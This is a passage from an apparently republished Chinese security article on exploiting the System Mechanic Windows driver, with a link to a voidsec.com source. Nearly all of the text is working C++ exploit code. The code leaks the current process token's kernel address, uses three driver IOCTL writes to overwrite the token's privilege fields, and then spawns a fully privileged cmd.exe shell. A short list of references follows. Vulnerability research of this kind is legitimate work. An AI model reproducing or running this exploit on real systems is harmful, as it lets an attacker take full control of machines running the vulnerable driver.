        NULL,

        NULL);

    if (device == INVALID_HANDLE_VALUE)

    {

        std::cout << "[!] Couldn't open handle to the System Mechanic driver. Error code: " << ::GetLastError() << std::endl;

        return -1;

    }

    std::cout << "[+] Opened a handle to the System Mechanic driver!n";

    // resolve the address of NtQuerySystemInformation and assign it to a function pointer

    pNtQuerySystemInformation NtQuerySystemInformation = (pNtQuerySystemInformation)::GetProcAddress(::LoadLibraryW(L"ntdll"), "NtQuerySystemInformation");

    if (!NtQuerySystemInformation)

    {

        std::cout << "[!] Couldn't resolve NtQuerySystemInformation API. Error code: " << ::GetLastError() << std::endl;

        return -1;

    }

    std::cout << "[+] Resolved NtQuerySystemInformation!n";

    // open the current process token - it will be used to retrieve its kernelspace address later

    HANDLE currentProcess = ::GetCurrentProcess();

    HANDLE currentToken = NULL;

    bool success = ::OpenProcessToken(currentProcess, TOKEN_ALL_ACCESS, &currentToken);

    if (!success)

    {

        std::cout << "[!] Couldn't open handle to the current process token. Error code: " << ::GetLastError() << std::endl;

        return -1;

    }

    std::cout << "[+] Opened a handle to the current process token!n";

    // allocate space in the heap for the handle table information which will be filled by the call to 'NtQuerySystemInformation' API

    PSYSTEM_HANDLE_INFORMATION handleTableInformation = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(::GetProcessHeap(), HEAP_ZERO_MEMORY, SystemHandleInformationSize);

    // call NtQuerySystemInformation and fill the handleTableInformation structure

    ULONG returnLength = 0;

    NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, SystemHandleInformationSize, &returnLength);

    uint64_t tokenAddress = 0;

    // iterate over the system's handle table and look for the handles beloging to our process

    for (int i = 0; i < handleTableInformation->NumberOfHandles; i++)

    {

        SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation->Handles[i];

        // if it finds our process and the handle matches the current token handle we already opened, print it

        if (handleInfo.UniqueProcessId == ::GetCurrentProcessId() && handleInfo.HandleValue == (USHORT)currentToken)

        {

            tokenAddress = (uint64_t)handleInfo.Object;

            std::cout << "[+] Current token address in kernelspace is: 0x" << std::hex << tokenAddress << std::endl;

        }

    }

    // allocate a variable set to 0

    int field2 = 0;

    /*

    dt nt!_SEP_TOKEN_PRIVILEGES

       +0x000 Present          : Uint8B

       +0x008 Enabled          : Uint8B

       +0x010 EnabledByDefault : Uint8B

    We've added +1 to the offsets to ensure that the low bytes part are 0xff.

    */

    // overwrite the _SEP_TOKEN_PRIVILEGES  "Present" field in the current process token

    Exploit exploit =

        {

            8,

            0,

            &field2,

            (void *)(tokenAddress + 0x41)};

    // overwrite the _SEP_TOKEN_PRIVILEGES  "Enabled" field in the current process token

    Exploit exploit2 =

        {

            8,

            0,

            &field2,

            (void *)(tokenAddress + 0x49)};

    // overwrite the _SEP_TOKEN_PRIVILEGES  "EnabledByDefault" field in the current process token

    Exploit exploit3 =

        {

            8,

            0,

            &field2,

            (void *)(tokenAddress + 0x51)};

    DWORD bytesReturned = 0;

    success = DeviceIoControl(

        device,

        IOCTL_CODE,

        &exploit,

        sizeof(exploit),

        nullptr,

        0,

        &bytesReturned,

        nullptr);

    if (!success)

    {

        std::cout << "[!] Couldn't overwrite current token 'Present' field. Error code: " << ::GetLastError() << std::endl;

        return -1;

    }

    std::cout << "[+] Successfully overwritten current token 'Present' field!n";

    success = DeviceIoControl(

        device,

        IOCTL_CODE,

        &exploit2,

        sizeof(exploit2),

        nullptr,

        0,

        &bytesReturned,

        nullptr);

    if (!success)

    {

        std::cout << "[!] Couldn't overwrite current token 'Enabled' field. Error code: " << ::GetLastError() << std::endl;

        return -1;

    }

    std::cout << "[+] Successfully overwritten current token 'Enabled' field!n";

    success = DeviceIoControl(

        device,

        IOCTL_CODE,

        &exploit3,

        sizeof(exploit3),

        nullptr,

        0,

        &bytesReturned,

        nullptr);

    if (!success)

    {

        std::cout << "[!] Couldn't overwrite current token 'EnabledByDefault' field. Error code:" << ::GetLastError() << std::endl;

        return -1;

    }

    std::cout << "[+] Successfully overwritten current token 'EnabledByDefault' field!n";

    std::cout << "[+] Token privileges successfully overwritten!n";

    std::cout << "[+] Spawning a new shell with full privileges!n";

    system("cmd.exe");

    return 0;

}

如何挖掘并利用驱动程序中的安全漏洞
PoC演示视频

关于本文相关的PoC的演示视频,请参见原文。

如何挖掘并利用驱动程序中的安全漏洞
相关资源与参考资料:

· Driver Attack Surface

· Windows DriverFrameworks

· Abusing Token Privileges for LPE

· @HackSysTeam

参考及来源:https://voidsec.com/exploiting-system-mechanic-driver/

如何挖掘并利用驱动程序中的安全漏洞

如何挖掘并利用驱动程序中的安全漏洞

本文始发于微信公众号(嘶吼专业版):如何挖掘并利用驱动程序中的安全漏洞

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: